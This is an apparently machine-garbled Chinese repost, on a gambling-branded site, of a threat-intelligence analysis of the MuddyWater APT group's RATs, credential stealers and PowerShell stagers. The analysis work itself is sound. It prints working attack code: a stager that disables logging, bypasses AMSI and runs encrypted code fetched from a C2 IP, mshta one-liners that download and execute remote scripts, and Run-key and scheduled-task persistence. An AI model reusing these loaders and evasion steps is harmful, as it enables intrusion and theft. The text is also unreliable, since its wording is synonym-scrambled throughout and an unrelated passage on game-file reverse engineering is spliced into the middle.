APT构造MuddyWater运用东西起底 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

APT构造MuddyWater运用东西起底

申博_新闻事件 申博 86次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

简介

MuddyWater是一个APT构造,主要以中东国度的政府机构和电信部分为进击目标,所问鼎的国度包罗伊拉克、沙特阿拉伯、巴林、约旦、土耳其和黎巴嫩,也包罗一些中东附近地区的国度,如阿塞拜疆、巴基斯坦和阿富汗等。

MuddyWater于2017年初次表态,其间攻下了浩瀚构造机构,且至今一向处于活泼状况。该要挟团伙于第一阶段所运用的沾染手腕和钓饵文件已被浩瀚平安机构剖析过,我们在之前的文章——《MuddyWater再度扩大影响局限》中对其也有过形貌。

但是,沾染以后的历程的细节迄今为止还没有被公然过。MuddyWater融会了多种东西和手艺来看管并盗取目标受益者的信息,这些东西和手艺大部分是由该构造自身在Python、c#和PowerShell中开辟的,包罗c#和Python的多个下载/实行东西、RAT病毒、SSH Python剧本、和用于提取凭证和历史纪录的多个Python东西,等等。

本申报将对MuddyWater在末了沾染后所运用的一系列东西做细致申明,还将论述进击东西被布置到受益者体系内部后,用以骚动扰攘侵犯观察的欺骗性手艺(好比用中文和俄文的字符串,和伪装成黑客构造 “RXR Saudi Arabia” )。据我们的观察效果,进击者还犯有OPSEC毛病,但由于执法部分正在举行观察,我们将纰谬这些毛病做申明。

东西集剖析

在对MuddyWater运动的研讨中,我们能够或许识别出他们所运用的一些东西和剧本,大多数东西都是定制开辟的,另有一些则是公然的通用东西。

包罗:

· Nihay  –  下载实行东西(C#)

· LisfonService  –  C#RAT

· Client.py  –  Python RAT

· Client-win.py  –  SSH Python剧本

· Rc.py/Rc.exe  –  Python RAT基础

· VBScript和VBA文件

· 第三方剧本(Muddy,Losi Boomber,Slaver reverse tunnel…)

· 和第二阶段的PowerShell剧本

大多数东西都是Python或PowerShell编写的剧本。MuddyWater运用Py2Exe和PyInstaller将种种具有进击性的Python剧本编译成可实行文件,以完成可移植性,好比Python剧本“CrackMapExec”、“shootback”和“Lazagne”。

MuddyWater还运用“PS2EXE”将PowerShell剧本转换为可实行文件,并将原始PowerShell代码作为一个Base64编码的字符串嵌入个中。我们注意到,MuddyWater习气运用PowerShell Reflective DLL注入来布置Metasploit Stageless Meterpreters,32位和64位版本都有。Stageless Meterpreter一般具有“Ext_server_stdapi.x64.dll”,“Ext_server_extapi.x64.dll”和“Ext_server_espia.x64.dll”的扩展名。

Nihay  –  下载实行东西(C#)

名为“Nihay”的东西是一个用C#编写的木马,它的功用相对基础——从硬编码URL(比方https://beepaste[.]io/view/raw/pPCMo1)处下载PowerShell单行敕令 ,并将其传递给“cmd.exe /c”。

LisfonService  –  C#RAT

LisfonService会网络受益者的一些基础信息:用户名、域或工作组称号、盘算机称号、盘算机内部IP地点、操作体系版本、操作体系版本和大众IP地点。LisfonService还会从隐蔽实在C2服务器的大批硬编码署理URL中随机挑选一个URL,一旦受益者符号胜利,则分配给受益者一个编号,稍后将用于从C2要求敕令,比方实行PowerShell代码或天生蓝屏。

在反编译的C#代码中,有一个名为“str1”的援用变量,它实际上没有被运用。我们以为它是初期测试阶段的残留,多是C2的IP地点。

str1 = "http://78.129.222.56:8090/244271232658346635408608084822345041494";

而接见此URL时,它会显现多是有意留给研讨职员的“讽刺”:

APT构造MuddyWater运用东西起底

Client.py  –  Python RAT

我们以为Client.Py是由MuddyWater开辟的Python 3.6 RAT,经由过程应用PyInstaller将其作为编译的Python可实行文件布置在受益盘算机上。实行流程以下:

1.网络有关受益者盘算机的基础信息:盘算机称号,操作体系称号,操作体系版本和用户名。然后将信息发送到C2服务器192.64.86 [.] 174:8980。

2.它支撑多个敕令,个中一些敕令是经由过程竖立暂时.VBS文件并挪用cscript.exe运转来实行的。所支撑的敕令能让此RAT完成基础的键盘纪录功用,好比盗取Chrome中生存的暗码,查杀义务管理器,长途敕令实行和在音讯框中显现警报音讯。

Client-win.py  –  SSH Python剧本

此Python剧本由PyInstaller编译,应用Python paramiko插件竖立到C2的SSH衔接。

1.在端口8085上衔接到C2的硬编码IP地点(比方104.237.233 [.] 38)并发送字符串“ip”。然后它应该能收到“ip1 :: ip2 :: ip3”情势的IP列表。

2.接着该剧本衔接到雷同的硬编码IP地点并发送字符串“pw”,从C2猎取“pw1 \ npw2 \ npw3”情势的暗码列表。

3.末了,它用硬编码用户名列表(如“cisco”、“root”、“admin”),与步调1中每一个ip上吸收到的一切暗码举行配对,以对SSH会话举行身份验证。

Rc.py/Rc.exe  – 基础Python RAT

rc.py是由PyInstaller编译的Python剧本,由UPX加壳。该剧本吸收C2的IP地点作为参数,并在硬编码端口9095上与其衔接。它能支撑体系上的一些敕令来实行网络暗码、长途敕令实行等行动。

· “kill”自我停止。

· “cd”用于变动以后目次。

· “dopass”用于从Chrome,IE,Mozilla,Opera和Outlook猎取凭证。

· “info”提取有关受益者盘算机的基础信息:操作体系称号/版本,32位/ 64位,处理器称号,用户名,盘算机称号,盘算机FQDN,内部IP地点,MAC地点和大众IP地点。

· “shell”从C2吸收文件并将它们生存在“C:\ ProgramData”中

· “exec”发生由C2肯定的新历程。

除上述敕令以外,它还能挪用cmd.exe / c以天生由C2肯定的新历程,输出效果一直发送到C2。

实例解说未知游戏文件花样的逆向剖析要领(上)

前言 当人们对未知文件格式进行逆向分析时,通常倾向于使用现成的提取器,但是,有时对于所讨论的格式并没有公共信息可用(例如,当开发公司使用自己特殊的格式来保护文件时),并且,文件格式可能存在巨大的差异,这时,我们就不得不自己动手进行逆向分析了。而本教程的目的,就是向读者展示逆向分析未知格式文件的基本步骤。 先决条件 为了顺利完成本文的任务,需要读者了解下列语言: · C++语言 · x86汇编语言(Intel语法) 对于本文涉及内容,我会尽力给出通俗的解释,但是,读者最好对上述语言有所了解。 所需工具 本文中将用到以下工

VBScript和VBA文件

MuddyWater首选的沾染序言之一是运用兵器化的启用宏的Office 97-2003 Word文档,其歹意VBA代码包罗Base64编码的payload。

第一个文件是歹意VBScript,第二个文件是Base64编码的payload。VBS挪用powershell.exe对第二个文件举行base64解码并挪用它,以下所示:

WScript.CreateObject("WScript.Shell").Run "mshta vbscript:Close(Execute(""CreateObject(""""WScript.Shell"""").Run""""powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini))));"""",0 ""))",0

此项手艺已在野外数次发明,我们也是将其归于MuddyWater所为。

第三方剧本

我们在MuddyWater中发明了几个基于“Lazagne”的剧本,第一个名为Losi Boomber,用于从浏览器和Outlook中提取凭证和历史纪录。

APT构造MuddyWater运用东西起底

Losi Boomber敕令行参数

Muddy是另一个基于Lazagne的剧本,卖力从邮件客户端和浏览器中提取凭证。

APT构造MuddyWater运用东西起底

Muddy的敕令行参数

在本例样本中,它能支撑以下浏览器:Chrome,IE,Mozilla,Opera和Coccoc,而在邮件客户端方面,它只支撑Outlook。

APT构造MuddyWater运用东西起底

一些嵌入式导入的Python模块

Slaver.py是一个从“ShootBack”中猎取的编译过的Python剧本,用于竖立反向tcp隧道。

APT构造MuddyWater运用东西起底

Slaver敕令行参数

Cr.exe是一个基于CrackMapExec的编译Python剧本,用于凭证网络和横向代码实行。 Mmap.py(被MuddyWaters称为“MapTools”)也基于CrackMapExec并用于雷同的目标。

APT构造MuddyWater运用东西起底

嵌入式导入Python模块

第二阶段PowerShell剧本

MuddyWater普遍运用PowerShell剧本用于分歧的目标:

状况1:猎取下一阶段的PowerShell剧本:

If($PSVerSIonTAblE.PSVeRSIon.MAJoR -Ge 3){
$GPS=[ReF].AsSemBLy.GEtTYpE('System.Management.Automation.Utils')."GetFiE`lD"('cachedGroupPolicySettings','N'+'onPublic,Static').GeTVAluE($NulL);
If($GPS['ScriptB'+'lockLogging']){
$GPS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$GPS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
}ELsE{
[SCriPTBlOCk]."GetFIe`Ld"('signatures','N'+'onPublic,Static').SETVAlue($NUlL,(NeW-OBJECt ColLECTIOnS.GENERIC.HaShSEt[STrInG]))
}
[REf].ASsembly.GetTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFielD('amsiInitFailed','NonPublic,Static').SeTVALUE($NUll,$tRuE)};};
[SyStEM.NEt.SerVICEPoINtMaNAGeR]::EXPEct100CONTiNuE=0;$K=[SySteM.TExt.EncoDINg]::ASCII.GetBYtES('mdxg_U(,Q3[;~a20DFhrvO+H-NAnKz!V');
$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{$I=($I+1)%256;
$H=($H+$S[$I])%256;
$S[$I],$S[$H]=$S[$H],$S[$I];
$_-BXOR$S[($S[$I]+$S[$H])%256]}};
$ie=New-Object -COM InternetExplorer.Application;
$ie.Silent=$True;
$ie.visible=$False;
$fl=14;
$ser='http://104.237.233.40:7070';
$t='/admin/get.php';
$ie.navigate2($ser+$t,$fl,0,$Null,'CF-RAY: oBLKRK3GNKZcBGZeWl+s4ExIaQ0=');
while($ie.busy){
Start-Sleep -Milliseconds 100};
$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;
try {$data=[System.Convert]::FromBase64String($ht)}
catch {$Null}
$iv=$DATA[0..3];
$data=$dATa[4..$DATa.LENGTh];
-joiN[ChaR[]](& $R $DATa ($IV+$K))|IEX

除禁用PowerShell剧本块日记纪录和绕过AMSI(反歹意软件扫描接口)以外,它还运用“InternetExplorer.Application”COM对象从http://104.237.233[.]40:7070/admin/get.php检索HTML内容以进入下一个阶段。风趣的是,它运用了一个硬编码的CloudFlare HTTP标头值:“CF-RAY: oBLKRK3GNKZcBGZeWl+s4ExIaQ0=”。

状况2:我们还肯定了MuddyWater的PowerShell原型RAT,它能完成网络用户信息(内部IP地点,用户名,域名,32位/ 64位),RC4加密/解密,Base64编码和解码,

为PowerShell平安设置变动缓存组策略设置(cachedGroupPolicySettings),EnableScriptBlockLogging,EnableScriptBlockInvocationLogging。它还能禁用一切HTTPS SSL证书搜检。

在这类状况下,开首被重命名为“km”并直接挪用IP为“78.129.139 [.] 134”,端口为“8080”,RC4键设置为“[email protected]#123456_6”的C2:

km -ip 78.129.139.134 -port 8080 -Key [email protected]#123456_6 -Delay 20

状况3:一个名为“Iranicard.exe”的WinRAR SFX(自解紧缩存档)。嵌入式SFX预设置剧本是一个MSHTA单行敕令,它经由过程挪用一个PowerShell单行敕令从“https://dzoz[.]us/js/js.js”处下载并实行PowerShell代码。

Presetup=mshta vbscript:Close(Execute("CreateObject(""WScript.Shell"").run ""powershell.exe -nop -w hidden -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $V.downloadstring('https://dzoz.us/js/js.js');"",0"))

归因,滋扰和OPSEC

在我们对MuddyWater运动的剖析中,我们发明了多个OPSEC毛病,并剖析了它所运用的一些滋扰手艺。在一切OPSEC毛病中,许多都是袒露了PDB文件途径。

“dragon”和“Panda”字符串

名为“LisfonService”的.Net RAT具有“dragon”和“Panda”用户名的PDB文件途径。

LisfonService PDB文件途径中的Dragon:

C:\Users\dragon\Documents\Visual Studio 2015\Projects\64\Telegram\LisfonService\obj\Release\LisfonService.pdb
TestService(LisfonService初期版本)中的PandaPDB文件途径:
C:\Users\Panda\Documents\Visual Studio 2010\Projects\TestService\TestService\obj\x86\Release\TestService.pdb

Panda和Dragon的涌现许多是进击者有意想把怀疑引向来自中国的要挟行动者,固然也有能够他只是正好喜好这两种动物。值得一提的是,在一些PowerShell RAT中,进击者还将“$ dragon_middle”变量称号用于C2署理URL组。

APT构造MuddyWater运用东西起底来自Powershell样本的$ dragon_middle

兵器化word文档中的用户名

多兵器化的Office Word文档还包罗了创作者机械的嵌入途径。Office在会某些状况下嵌入这些途径,好比当或人将二进制对象(如OLE控件,如文本框或敕令按钮)添加到Word文档中时。这些PDB能供应以下用户名:poopak,leo,Turk和Vendetta。

C:\Users\poopak\AppData\Local\Temp\Word8.0\MSForms.exd
C:\Users\leo\AppData\Local\Temp\Word8.0\MSForms.exd
C:\Users\Turk\AppData\Local\Temp\Word8.0\MSForms.exd
C:\Users\Vendetta\AppData\Local\Temp\Word8.0\MSForms.exd

中文字符串

在一些PowerShell RAT payload比方Ffb8ea0347a3af3dd2ab1b4e5a1be18a)中能够找到多个中文字符串,这些字符串似乎是有意留下的,意在滋扰剖析职员。

      if (IQQXIJFBIIVIOKFCSXFHBBQFFDMWTL -p "HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -k "MalwareDefenderSDK" -v "wscript $tempPath$filenamePathV" -eq "error"){
           Write-Host "没法接见当地盘算机寄存器"
      }
      try{
          schtasks /Create /RU system /SC ONLOGON /TN Microsoft\WindowsMalwareDefenderSDK /TR "wscript $tempPath$filenamePathV" /F
      }
      catch{
          Write-Host "义务设计顺序接见被谢绝"
      }
  }
[System.Net.WebResponse] $resp = $webreq.GetResponse();
               if ($resp -ne $null){
                     $data = $resp.GetResponseStream();
                     [System.IO.StreamReader] $res_data = New-Object System.IO.StreamReader $data;
                     [String] $result = $res_data.ReadToEnd();
               }
          }
          catch {
               Write-Host  '没法衔接到网址,请守候龙...'
               $result = "error"
          }

俄语字符串,和假装“RXR Saudi Arabia”黑客构造

在另一个PowerShell样本(md5:e684aa1c6e51f4696a836ecb6ff1e143,filename:km.ps1)中,进击者在竖立与C2服务器(78.129.139 [.] 134)的衔接时运用俄语单词作为RC4密钥

km -ip 78.129.139.134 -port 8080 -Key [email protected]#123456_6 -Delay 20

另外,IP:78.129.139 [.] 134也用作其他样本的C2。风趣的是,在接见C2时,它显现一个空缺网页,其HTML源代码则有一个特别的HTML符号值,注解进击者试图假装一个名为RXR Saudi Arabia的沙特黑客构造。

APT构造MuddyWater运用东西起底

结论

近年来,MuddyWater不管在其歹意软件功用上或是进击目标上都显现赓续扩大的趋向,其手腕和东西都相称成熟圆满,而对Python和PowerShell的运用,虽然相对简朴,但在看管并盗取受益者信息上却非常天真有用。

也是这类延续提高的才能,能让MuddyWater在赓续转变的中东地缘政治局面中延续发展,对剖析职员来讲,这类应战也是与时俱进的。我们推想MuddyWater在将来能够会将对0 day破绽的应用融会到其进击手腕中。不外以后他们的OPSEC并不算圆满,照样有些细节会袒露他们的千丝万缕。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明APT构造MuddyWater运用东西起底
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址